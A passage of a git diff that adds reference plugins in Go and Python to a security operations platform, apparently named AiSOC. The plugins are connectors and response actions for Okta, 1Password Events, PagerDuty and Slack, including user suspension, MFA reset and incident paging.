(secret_*)"+ secret: true+ database_id:+ type: string+ description: "Target Notion database ID (UUID, no dashes required)"+ notion_version:+ type: string+ default: "2022-06-28"+ description: "Notion API version header"+supported_actions:+ - create_incident_page+ - update_incident_page+ - append_post_mortemdiff --git a/plugins/okta-connector/go/main.go b/plugins/okta-connector/go/main.gonew file mode 100644index 000000000..38f73c08c--- /dev/null+++ b/plugins/okta-connector/go/main.go@@ -0,0 +1,323 @@+// Package main is the Okta connector reference implementation in Go.+//+// Implements both aisoc.Connector (system log streaming) and aisoc.Action+// (lifecycle actions: suspend, unsuspend, MFA reset, session expiry) on the+// same plugin struct. The Registry's interface checks pick up both roles+// independently.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "net/url"+ "strings"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// OktaConnector is a connector + action plugin for the Okta Identity Cloud.+type OktaConnector struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (o *OktaConnector) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "okta-connector",+ Name: "Okta Connector",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeConnector,+ Description: "Okta Identity Cloud connector for log streaming and account response actions.",+ Author: "AiSOC Core Team",+ Tags: []string{"identity", "okta", "iam", "sso"},+ }+}++func (o *OktaConnector) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ o.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (o *OktaConnector) baseURL(pctx aisoc.PluginContext) (string, error) {+ domain, _ := pctx.Config["okta_domain"].(string)+ if domain == "" {+ return "", errors.New("okta_domain is required")+ }+ domain = strings.TrimRight(domain, "/")+ if !strings.HasPrefix(domain, "http") {+ domain = "https://" + domain+ }+ return domain, nil+}++func (o *OktaConnector) authHeader(pctx aisoc.PluginContext) (string, error) {+ token, _ := pctx.Config["api_token"].(string)+ if token == "" {+ return "", errors.New("api_token is required")+ }+ return "SSWS " + token, nil+}++// request performs a single Okta API call. The body slice is null on GET/DELETE.+// Returns either the decoded object payload or an array payload, depending on+// what Okta returns for the endpoint.+func (o *OktaConnector) request(+ ctx context.Context,+ pctx aisoc.PluginContext,+ method, path string,+ params url.Values,+) (map[string]any, []map[string]any, error) {+ base, err := o.baseURL(pctx)+ if err != nil {+ return nil, nil, err+ }+ auth, err := o.authHeader(pctx)+ if err != nil {+ return nil, nil, err+ }++ full := base + path+ if len(params) > 0 {+ full += "?" + params.Encode()+ }+ req, err := http.NewRequestWithContext(ctx, method, full, nil)+ if err != nil {+ return nil, nil, err+ }+ req.Header.Set("Authorization", auth)+ req.Header.Set("Accept", "application/json")+ resp, err := o.httpClient.Do(req)+ if err != nil {+ return nil, nil, err+ }+ defer resp.Body.Close()+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return nil, nil, fmt.Errorf("okta: %s: %s", resp.Status, string(body))+ }+ if len(body) == 0 || resp.StatusCode == http.StatusNoContent {+ return map[string]any{"status": resp.StatusCode}, nil, nil+ }+ if body[0] == '[' {+ var arr []map[string]any+ if err := json.Unmarshal(body, &arr); err != nil {+ return nil, nil, err+ }+ return nil, arr, nil+ }+ var obj map[string]any+ if err := json.Unmarshal(body, &obj); err != nil {+ return nil, nil, err+ }+ return obj, nil, nil+}++// TestConnection verifies the API token and tenant by hitting /api/v1/users/me+// (works for user tokens) and falling back to /api/v1/org (works for SSWS API+// tokens scoped to an org).+func (o *OktaConnector) TestConnection(+ ctx context.Context,+ pctx aisoc.PluginContext,+) (bool, error) {+ if _, _, err := o.request(ctx, pctx, http.MethodGet, "/api/v1/users/me", nil); err != nil {+ if _, _, err := o.request(ctx, pctx, http.MethodGet, "/api/v1/org", nil); err != nil {+ return false, err+ }+ }+ return true, nil+}++// FetchEvents streams Okta system log events newer than `since` over a channel.+// Tags each event with `_aisoc_source = "okta"` so downstream pipelines can+// route per-source.+func (o *OktaConnector) FetchEvents(+ ctx context.Context,+ pctx aisoc.PluginContext,+ since string,+) (<-chan map[string]any, error) {+ out := make(chan map[string]any)+ go func() {+ defer close(out)+ if since == "" {+ since = time.Now().Add(-15 * time.Minute).UTC().Format(time.RFC3339)+ }+ params := url.Values{+ "since": []string{since},+ "limit": []string{"100"},+ }+ _, events, err := o.request(ctx, pctx, http.MethodGet, "/api/v1/logs", params)+ if err != nil {+ select {+ case <-ctx.Done():+ case out <- map[string]any{"error": err.Error(), "_aisoc_source": "okta"}:+ }+ return+ }+ for _, ev := range events {+ ev["_aisoc_source"] = "okta"+ select {+ case <-ctx.Done():+ return+ case out <- ev:+ }+ }+ }()+ return out, nil+}++// SupportedActions exposes the response actions Okta can perform on a user.+func (o *OktaConnector) SupportedActions() []string {+ return []string{+ "lookup_user",+ "suspend_user",+ "unsuspend_user",+ "clear_factors",+ "expire_sessions",+ }+}++// Execute runs a response action against a user identified by `user_id` or+// `login` in req.Params. Honors req.DryRun by returning a planned summary+// without calling Okta.+func (o *OktaConnector) Execute(+ ctx context.Context,+ req aisoc.ActionRequest,+ pctx aisoc.PluginContext,+) (aisoc.ActionResult, error) {+ userID, _ := req.Params["user_id"].(string)+ if userID == "" {+ userID, _ = req.Params["login"].(string)+ }+ if userID == "" {+ err := errors.New("user_id or login is required")+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: false,+ DryRun: req.DryRun,+ Error: err.Error(),+ }, err+ }++ if req.DryRun {+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ DryRun: true,+ Summary: fmt.Sprintf("would %s for user %s", req.ActionID, userID),+ Details: map[string]any{"user_id": userID},+ }, nil+ }++ switch req.ActionID {+ case "lookup_user":+ obj, _, err := o.request(ctx, pctx, http.MethodGet, "/api/v1/users/"+userID, nil)+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: "looked up user " + userID,+ Details: obj,+ }, nil++ case "suspend_user":+ obj, _, err := o.request(+ ctx, pctx, http.MethodPost,+ "/api/v1/users/"+userID+"/lifecycle/suspend", nil,+ )+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: "suspended user " + userID,+ Details: obj,+ }, nil++ case "unsuspend_user":+ obj, _, err := o.request(+ ctx, pctx, http.MethodPost,+ "/api/v1/users/"+userID+"/lifecycle/unsuspend", nil,+ )+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: "unsuspended user " + userID,+ Details: obj,+ }, nil++ case "clear_factors":+ _, factors, err := o.request(+ ctx, pctx, http.MethodGet,+ "/api/v1/users/"+userID+"/factors", nil,+ )+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ var deleted []string+ for _, f := range factors {+ fid, _ := f["id"].(string)+ if fid == "" {+ continue+ }+ if _, _, err := o.request(+ ctx, pctx, http.MethodDelete,+ "/api/v1/users/"+userID+"/factors/"+fid, nil,+ ); err != nil {+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Error: err.Error(),+ Details: map[string]any{"deleted_so_far": deleted, "failed_at": fid},+ }, err+ }+ deleted = append(deleted, fid)+ }+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: fmt.Sprintf("cleared %d MFA factors for user %s", len(deleted), userID),+ Details: map[string]any{"deleted_factors": deleted},+ }, nil++ case "expire_sessions":+ obj, _, err := o.request(+ ctx, pctx, http.MethodDelete,+ "/api/v1/users/"+userID+"/sessions",+ url.Values{"oauthTokens": []string{"true"}},+ )+ if err != nil {+ return aisoc.ActionResult{ActionID: req.ActionID, Error: err.Error()}, err+ }+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Success: true,+ Summary: "expired all sessions for user " + userID,+ Details: obj,+ }, nil++ default:+ return aisoc.ActionResult{+ ActionID: req.ActionID,+ Error: "unsupported action: " + req.ActionID,+ }, nil+ }+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&OktaConnector{}); err != nil {+ panic(err)+ }+ fmt.Println("okta-connector reference plugin loaded")+}diff --git a/plugins/onepassword-events/go/main.go b/plugins/onepassword-events/go/main.gonew file mode 100644index 000000000..be09290eb--- /dev/null+++ b/plugins/onepassword-events/go/main.go@@ -0,0 +1,171 @@+// Package main is the 1Password Events connector reference implementation in Go.+//+// Demonstrates the AiSOC Go Plugin SDK for an identity event-source connector+// against the 1Password Events API.+package main++import (+ "bytes"+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++var regionHosts = map[string]string{+ "com": "https://events.1password.com",+ "ca": "https://events.1password.ca",+ "eu": "https://events.1password.eu",+}++var feedPaths = map[string]string{+ "signinattempts": "/api/v1/signinattempts",+ "itemusages": "/api/v1/itemusages",+ "auditevents": "/api/v1/auditevents",+}++// OnePasswordConnector implements aisoc.Connector for the 1Password Events API.+type OnePasswordConnector struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (o *OnePasswordConnector) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "onepassword-events",+ Name: "1Password Events Connector",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeConnector,+ Description: "Pulls sign-in, item-usage, and audit events from the 1Password Events API.",+ Author: "AiSOC Core Team",+ Tags: []string{"identity", "secrets", "1password", "events", "connector"},+ }+}++func (o *OnePasswordConnector) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ o.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (o *OnePasswordConnector) TestConnection(+ ctx context.Context,+ pctx aisoc.PluginContext,+) (bool, error) {+ body, err := json.Marshal(map[string]any{+ "limit": 1,+ "start_time": time.Now().Add(-5 * time.Minute).UTC().Format(time.RFC3339),+ })+ if err != nil {+ return false, err+ }+ if _, err := o.do(ctx, pctx, "POST", feedPaths["signinattempts"], body); err != nil {+ return false, err+ }+ return true, nil+}++func (o *OnePasswordConnector) FetchEvents(+ ctx context.Context,+ pctx aisoc.PluginContext,+ since string,+) (<-chan map[string]any, error) {+ out := make(chan map[string]any)+ go func() {+ defer close(out)++ feeds := []string{"signinattempts", "itemusages", "auditevents"}+ if cfgFeeds, ok := pctx.Config["feeds"].([]any); ok && len(cfgFeeds) > 0 {+ feeds = feeds[:0]+ for _, f := range cfgFeeds {+ if s, ok := f.(string); ok {+ feeds = append(feeds, s)+ }+ }+ }++ startTime := since+ if startTime == "" {+ startTime = time.Now().Add(-15 * time.Minute).UTC().Format(time.RFC3339)+ }+ body, err := json.Marshal(map[string]any{+ "limit": 200,+ "start_time": startTime,+ })+ if err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }++ for _, feed := range feeds {+ path, ok := feedPaths[feed]+ if !ok {+ continue+ }+ raw, err := o.do(ctx, pctx, "POST", path, body)+ if err != nil {+ out <- map[string]any{"error": err.Error(), "feed": feed}+ continue+ }+ var parsed struct {+ Items []map[string]any `json:"items"`+ }+ if err := json.Unmarshal(raw, &parsed); err != nil {+ continue+ }+ for _, item := range parsed.Items {+ item["_aisoc_feed"] = feed+ out <- item+ }+ }+ }()+ return out, nil+}++func (o *OnePasswordConnector) do(+ ctx context.Context,+ pctx aisoc.PluginContext,+ method, path string,+ body []byte,+) ([]byte, error) {+ token, _ := pctx.Config["api_token"].(string)+ if token == "" {+ return nil, errors.New("api_token is required")+ }+ region, _ := pctx.Config["region"].(string)+ if region == "" {+ region = "com"+ }+ base, ok := regionHosts[region]+ if !ok {+ base = regionHosts["com"]+ }+ req, err := http.NewRequestWithContext(ctx, method, base+path, bytes.NewReader(body))+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+token)+ req.Header.Set("Content-Type", "application/json")+ resp, err := o.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ if resp.StatusCode >= 400 {+ return nil, errors.New("1password api: " + resp.Status)+ }+ return io.ReadAll(resp.Body)+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&OnePasswordConnector{}); err != nil {+ panic(err)+ }+ fmt.Println("onepassword-events reference plugin loaded")+}diff --git a/plugins/onepassword-events/plugin.py b/plugins/onepassword-events/plugin.pynew file mode 100644index 000000000..e58f2a735--- /dev/null+++ b/plugins/onepassword-events/plugin.py@@ -0,0 +1,117 @@+"""1Password Events connector plugin for AiSOC.++Pulls events from the 1Password Events API across three feeds:+ - signinattempts+ - itemusages+ - auditevents++Required config:+ - api_token (1Password Events API token)+ - region (com, ca, or eu, default com)+ - feeds (list of feed names; defaults to all three)++Payload shape:+ {+ "action": "test_connection" | "fetch_events",+ "feed": "signinattempts" | "itemusages" | "auditevents",+ "since": "ISO-8601 timestamp",+ "limit": 100+ }+"""+from __future__ import annotations++from datetime import datetime, timedelta, timezone+from typing import Any++try:+ import httpx++ _HTTPX = True+except ImportError:+ _HTTPX = False+++_REGION_HOSTS = {+ "com": "https://events.1password.com",+ "ca": "https://events.1password.ca",+ "eu": "https://events.1password.eu",+}++_FEED_PATHS = {+ "signinattempts": "/api/v1/signinattempts",+ "itemusages": "/api/v1/itemusages",+ "auditevents": "/api/v1/auditevents",+}+++class Plugin:+ """1Password Events connector plugin."""++ def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ config = context.get("config") or {}+ if "api_token" not in config:+ raise ValueError("api_token is required in plugin config")+ region = (config.get("region") or "com").lower()+ base = _REGION_HOSTS.get(region, _REGION_HOSTS["com"])+ return httpx.AsyncClient(+ base_url=base,+ headers={+ "Authorization": f"Bearer {config['api_token']}",+ "Content-Type": "application/json",+ },+ timeout=30,+ )++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ if not _HTTPX:+ return {"error": "httpx not installed; run `pip install httpx`"}++ action = payload.get("action", "fetch_events")++ async with self._client(context) as client:+ if action == "test_connection":+ resp = await client.post(+ _FEED_PATHS["signinattempts"],+ json={+ "limit": 1,+ "start_time": (+ datetime.now(timezone.utc) - timedelta(minutes=5)+ ).isoformat(),+ },+ )+ return {"connected": resp.status_code in (200, 401)}++ if action == "fetch_events":+ config = context.get("config") or {}+ feeds = payload.get("feed_list") or config.get(+ "feeds", ["signinattempts", "itemusages", "auditevents"]+ )+ if isinstance(feeds, str):+ feeds = [feeds]+ since = payload.get("since") or (+ datetime.now(timezone.utc) - timedelta(minutes=15)+ ).isoformat()+ limit = int(payload.get("limit", 200))++ results: dict[str, list[dict[str, Any]]] = {}+ for feed in feeds:+ path = _FEED_PATHS.get(feed)+ if not path:+ continue+ resp = await client.post(+ path,+ json={"limit": limit, "start_time": since},+ )+ resp.raise_for_status()+ body = resp.json()+ results[feed] = body.get("items") or []++ return {+ "action": action,+ "since": since,+ "feeds": list(results.keys()),+ "events_per_feed": {k: len(v) for k, v in results.items()},+ "events": results,+ }++ return {"error": f"Unknown action: {action}"}diff --git a/plugins/onepassword-events/plugin.yaml b/plugins/onepassword-events/plugin.yamlnew file mode 100644index 000000000..559f7bf95--- /dev/null+++ b/plugins/onepassword-events/plugin.yaml@@ -0,0 +1,37 @@+id: onepassword-events+name: 1Password Events Connector+version: "1.0.0"+plugin_type: connector+description: >+ Pulls 1Password Business and Enterprise events (sign-in attempts, item usage,+ and audit events) via the 1Password Events API. Useful for detecting credential+ theft, anomalous access patterns, and insider misuse of privileged secrets.+author: AiSOC Core Team+tags: [identity, secrets, 1password, events, connector]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/onepassword-events+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [api_token]+ properties:+ api_token:+ type: string+ description: "1Password Events API token (mfa or full read-events scope)"+ secret: true+ region:+ type: string+ enum: [com, ca, eu]+ default: com+ description: "1Password regional cluster (com, ca, eu)"+ feeds:+ type: array+ description: "Which event feeds to poll"+ default: [signinattempts, itemusages, auditevents]+ items:+ type: string+ enum: [signinattempts, itemusages, auditevents]+ poll_interval_seconds:+ type: integer+ default: 60+ minimum: 30diff --git a/plugins/pagerduty-paging/go/main.go b/plugins/pagerduty-paging/go/main.gonew file mode 100644index 000000000..426e42b94--- /dev/null+++ b/plugins/pagerduty-paging/go/main.go@@ -0,0 +1,194 @@+// Package main is the PagerDuty paging action reference implementation in Go.+package main++import (+ "bytes"+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++const eventsURL = "https://events.pagerduty.com/v2/enqueue"++// PagerDutyAction implements aisoc.Action for the PagerDuty Events API v2.+type PagerDutyAction struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (p *PagerDutyAction) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "pagerduty-paging",+ Name: "PagerDuty Paging",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeAction,+ Description: "Pages on-call responders via PagerDuty Events API v2.",+ Author: "AiSOC Core Team",+ Tags: []string{"paging", "pagerduty", "oncall", "incidents", "action"},+ }+}++func (p *PagerDutyAction) OnLoad(_ context.Context, _ aisoc.PluginContext) error {+ p.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (p *PagerDutyAction) SupportedActions() []string {+ return []string{+ "trigger_incident",+ "acknowledge_incident",+ "resolve_incident",+ }+}++func (p *PagerDutyAction) Execute(+ ctx context.Context,+ req aisoc.ActionRequest,+ pctx aisoc.PluginContext,+) (aisoc.ActionResult, error) {+ result := aisoc.ActionResult{+ ActionID: req.ActionID,+ DryRun: req.DryRun,+ Details: map[string]any{},+ }++ routingKey, _ := pctx.Config["routing_key"].(string)+ if routingKey == "" {+ result.Error = "routing_key is required"+ return result, errors.New(result.Error)+ }++ if req.DryRun {+ result.Success = true+ result.Summary = "dry-run: no PagerDuty event sent"+ result.Details["action"] = req.ActionID+ return result, nil+ }++ switch req.ActionID {+ case "trigger_incident":+ return p.trigger(ctx, routingKey, req, result)+ case "acknowledge_incident":+ return p.lifecycle(ctx, routingKey, req, "acknowledge", result)+ case "resolve_incident":+ return p.lifecycle(ctx, routingKey, req, "resolve", result)+ default:+ result.Error = "unknown action: " + req.ActionID+ return result, errors.New(result.Error)+ }+}++func (p *PagerDutyAction) trigger(+ ctx context.Context,+ routingKey string,+ req aisoc.ActionRequest,+ result aisoc.ActionResult,+) (aisoc.ActionResult, error) {+ summary, _ := req.Params["summary"].(string)+ if summary == "" {+ summary = "AiSOC alert"+ }+ severity, _ := req.Params["severity"].(string)+ if severity == "" {+ severity = "error"+ }+ dedupKey, _ := req.Params["dedup_key"].(string)+ source, _ := req.Params["source"].(string)+ if source == "" {+ source = "aisoc"+ }+ body, err := json.Marshal(map[string]any{+ "routing_key": routingKey,+ "event_action": "trigger",+ "dedup_key": dedupKey,+ "payload": map[string]any{+ "summary": summary,+ "severity": severity,+ "source": source,+ },+ })+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ raw, err := p.do(ctx, body)+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(raw, &parsed)+ result.Success = true+ result.Summary = "triggered PagerDuty incident: " + summary+ result.Details["pagerduty"] = parsed+ return result, nil+}++func (p *PagerDutyAction) lifecycle(+ ctx context.Context,+ routingKey string,+ req aisoc.ActionRequest,+ eventAction string,+ result aisoc.ActionResult,+) (aisoc.ActionResult, error) {+ dedupKey, _ := req.Params["dedup_key"].(string)+ if dedupKey == "" {+ result.Error = "dedup_key required for ack/resolve"+ return result, errors.New(result.Error)+ }+ body, err := json.Marshal(map[string]any{+ "routing_key": routingKey,+ "event_action": eventAction,+ "dedup_key": dedupKey,+ })+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ raw, err := p.do(ctx, body)+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(raw, &parsed)+ result.Success = true+ result.Summary = eventAction + "d PagerDuty incident " + dedupKey+ result.Details["pagerduty"] = parsed+ return result, nil+}++func (p *PagerDutyAction) do(ctx context.Context, body []byte) ([]byte, error) {+ req, err := http.NewRequestWithContext(+ ctx, http.MethodPost, eventsURL, bytes.NewReader(body),+ )+ if err != nil {+ return nil, err+ }+ req.Header.Set("Content-Type", "application/json")+ resp, err := p.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ raw, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return raw, errors.New("pagerduty: " + resp.Status)+ }+ return raw, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&PagerDutyAction{}); err != nil {+ panic(err)+ }+ fmt.Println("pagerduty-paging reference plugin loaded")+}diff --git a/plugins/pagerduty-paging/plugin.py b/plugins/pagerduty-paging/plugin.pynew file mode 100644index 000000000..ce97aa9a7--- /dev/null+++ b/plugins/pagerduty-paging/plugin.py@@ -0,0 +1,108 @@+"""PagerDuty paging action plugin for AiSOC."""+from __future__ import annotations++from typing import Any++import httpx++EVENTS_URL = "https://events.pagerduty.com/v2/enqueue"+API_BASE = "https://api.pagerduty.com"+++class Plugin:+ """PagerDuty paging plugin (Events API v2 + REST API)."""++ async def _post(self, url: str, headers: dict[str, str], body: dict) -> dict:+ async with httpx.AsyncClient(timeout=30.0) as client:+ resp = await client.post(url, headers=headers, json=body)+ resp.raise_for_status()+ return resp.json()++ async def _get(self, url: str, headers: dict[str, str]) -> dict:+ async with httpx.AsyncClient(timeout=30.0) as client:+ resp = await client.get(url, headers=headers)+ resp.raise_for_status()+ return resp.json()++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ config = context.get("config") or {}+ routing_key = config.get("routing_key")+ if not routing_key:+ return {"error": "routing_key is required"}++ action = payload.get("action", "trigger_incident")+ dedup_key = payload.get("dedup_key")++ try:+ if action == "trigger_incident":+ summary = payload.get("summary") or "AiSOC alert"+ severity = (+ payload.get("severity")+ or config.get("default_severity")+ or "error"+ )+ event = {+ "routing_key": routing_key,+ "event_action": "trigger",+ "dedup_key": dedup_key,+ "payload": {+ "summary": summary,+ "severity": severity,+ "source": payload.get("source") or "aisoc",+ "component": payload.get("component"),+ "group": payload.get("group"),+ "class": payload.get("class"),+ "custom_details": payload.get("custom_details") or {},+ },+ }+ result = await self._post(EVENTS_URL, {}, event)+ return {"action": action, "ok": True, "result": result}++ if action in ("acknowledge_incident", "resolve_incident"):+ if not dedup_key:+ return {"error": "dedup_key required for ack/resolve"}+ event_action = (+ "acknowledge"+ if action == "acknowledge_incident"+ else "resolve"+ )+ result = await self._post(+ EVENTS_URL,+ {},+ {+ "routing_key": routing_key,+ "event_action": event_action,+ "dedup_key": dedup_key,+ },+ )+ return {"action": action, "ok": True, "result": result}++ if action == "list_incidents":+ token = config.get("api_token")+ if not token:+ return {+ "error": "api_token is required for list_incidents",+ }+ headers = {+ "Authorization": f"Token token={token}",+ "Accept": "application/vnd.pagerduty+json;version=2",+ }+ params = []+ if payload.get("statuses"):+ for s in payload["statuses"]:+ params.append(f"statuses[]={s}")+ else:+ params.append("statuses[]=triggered")+ params.append("statuses[]=acknowledged")+ qs = "&".join(params)+ data = await self._get(f"{API_BASE}/incidents?{qs}", headers)+ return {"action": action, "incidents": data.get("incidents", [])}++ return {"error": f"Unknown action: {action}"}+ except httpx.HTTPStatusError as exc:+ return {+ "error": f"pagerduty error: {exc.response.status_code}",+ "body": exc.response.text[:512],+ }+ except httpx.HTTPError as exc:+ return {"error": f"pagerduty request failed: {exc}"}diff --git a/plugins/pagerduty-paging/plugin.yaml b/plugins/pagerduty-paging/plugin.yamlnew file mode 100644index 000000000..3eac04ccc--- /dev/null+++ b/plugins/pagerduty-paging/plugin.yaml@@ -0,0 +1,34 @@+id: pagerduty-paging+name: PagerDuty Paging+version: "1.0.0"+plugin_type: action+description: >+ Pages on-call responders via PagerDuty. Supports trigger / acknowledge /+ resolve incidents through the Events API v2 and direct API calls for+ service/escalation lookups.+author: AiSOC Core Team+tags: [paging, pagerduty, oncall, incidents, action]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/pagerduty-paging+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [routing_key]+ properties:+ routing_key:+ type: string+ description: "Events API v2 integration key for the target service"+ secret: true+ api_token:+ type: string+ description: "REST API token for service/escalation lookups (optional)"+ secret: true+ default_severity:+ type: string+ enum: [critical, error, warning, info]+ default: error+supported_actions:+ - trigger_incident+ - acknowledge_incident+ - resolve_incident+ - list_incidentsdiff --git a/plugins/slack-quarantine/go/main.go b/plugins/slack-quarantine/go/main.gonew file mode 100644index 000000000..ece71d848--- /dev/null+++ b/plugins/slack-quarantine/go/main.go@@ -0,0 +1,261 @@+// Package main is the Slack quarantine notifier reference implementation in Go.+package main++import (+ "bytes"+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// SlackQuarantineNotifier implements aisoc.Action for Slack-based response comms.+type SlackQuarantineNotifier struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (s *SlackQuarantineNotifier) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "slack-quarantine",+ Name: "Slack Quarantine Notifier",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeAction,+ Description: "Posts incident-response notifications to Slack with Block Kit formatting.",+ Author: "AiSOC Core Team",+ Tags: []string{"slack", "notification", "quarantine", "response"},+ }+}++func (s *SlackQuarantineNotifier) OnLoad(_ context.Context, _ aisoc.PluginContext) error {+ s.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (s *SlackQuarantineNotifier) SupportedActions() []string {+ return []string{+ "post_quarantine",+ "page_oncall",+ "thread_update",+ }+}++func (s *SlackQuarantineNotifier) Execute(+ ctx context.Context,+ req aisoc.ActionRequest,+ pctx aisoc.PluginContext,+) (aisoc.ActionResult, error) {+ result := aisoc.ActionResult{+ ActionID: req.ActionID,+ DryRun: req.DryRun,+ Details: map[string]any{},+ }++ token, _ := pctx.Config["bot_token"].(string)+ if token == "" {+ result.Error = "bot_token is required"+ return result, errors.New(result.Error)+ }++ channel, _ := pctx.Config["channel"].(string)+ if c, ok := req.Params["channel"].(string); ok && c != "" {+ channel = c+ }++ if req.DryRun {+ result.Success = true+ result.Summary = "dry-run: no Slack call made"+ result.Details["channel"] = channel+ result.Details["action"] = req.ActionID+ return result, nil+ }++ switch req.ActionID {+ case "post_quarantine":+ if channel == "" {+ result.Error = "channel is required"+ return result, errors.New(result.Error)+ }+ body := map[string]any{+ "channel": channel,+ "text": "Quarantine activated",+ "blocks": s.buildBlocks(req),+ }+ if ts, ok := req.Params["thread_ts"].(string); ok && ts != "" {+ body["thread_ts"] = ts+ }+ out, err := s.post(ctx, token, "chat.postMessage", body)+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ result.Success = true+ result.Summary = "posted quarantine notice to " + channel+ result.Details["slack"] = out+ return result, nil++ case "page_oncall":+ oncall, _ := pctx.Config["oncall_user"].(string)+ if u, ok := req.Params["user"].(string); ok && u != "" {+ oncall = u+ }+ if oncall == "" {+ result.Error = "oncall_user is required"+ return result, errors.New(result.Error)+ }+ body := map[string]any{+ "channel": oncall,+ "text": "P0 alert: please respond",+ "blocks": s.buildBlocks(req),+ }+ out, err := s.post(ctx, token, "chat.postMessage", body)+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ result.Success = true+ result.Summary = "paged on-call user " + oncall+ result.Details["slack"] = out+ return result, nil++ case "thread_update":+ if channel == "" {+ result.Error = "channel is required"+ return result, errors.New(result.Error)+ }+ ts, _ := req.Params["thread_ts"].(string)+ if ts == "" {+ result.Error = "thread_ts is required"+ return result, errors.New(result.Error)+ }+ text, _ := req.Params["text"].(string)+ if text == "" {+ text = "Status update"+ }+ body := map[string]any{+ "channel": channel,+ "thread_ts": ts,+ "text": text,+ }+ out, err := s.post(ctx, token, "chat.postMessage", body)+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ result.Success = true+ result.Summary = "appended thread update on " + channel+ result.Details["slack"] = out+ return result, nil++ default:+ result.Error = "unknown action: " + req.ActionID+ return result, errors.New(result.Error)+ }+}++func (s *SlackQuarantineNotifier) buildBlocks(req aisoc.ActionRequest) []map[string]any {+ caseID, _ := req.Params["case_id"].(string)+ if caseID == "" {+ caseID = req.CaseID+ }+ host, _ := req.Params["host"].(string)+ user, _ := req.Params["user"].(string)+ severity, _ := req.Params["severity"].(string)+ reason, _ := req.Params["reason"].(string)++ target := host+ if target == "" {+ target = user+ }+ if target == "" {+ target = "unknown"+ }++ header := fmt.Sprintf(":rotating_light: *Quarantine Activated* — `%s`", target)+ if caseID != "" {+ header += fmt.Sprintf(" (case `%s`)", caseID)+ }++ fields := []map[string]any{}+ if severity != "" {+ fields = append(fields, map[string]any{+ "type": "mrkdwn",+ "text": fmt.Sprintf("*Severity:* `%s`", severity),+ })+ }+ if reason != "" {+ fields = append(fields, map[string]any{+ "type": "mrkdwn",+ "text": "*Reason:* " + reason,+ })+ }++ blocks := []map[string]any{+ {+ "type": "section",+ "text": map[string]any{"type": "mrkdwn", "text": header},+ },+ }+ if len(fields) > 0 {+ blocks = append(blocks, map[string]any{+ "type": "section",+ "fields": fields,+ })+ }+ return blocks+}++func (s *SlackQuarantineNotifier) post(+ ctx context.Context,+ token, path string,+ body map[string]any,+) (map[string]any, error) {+ buf, err := 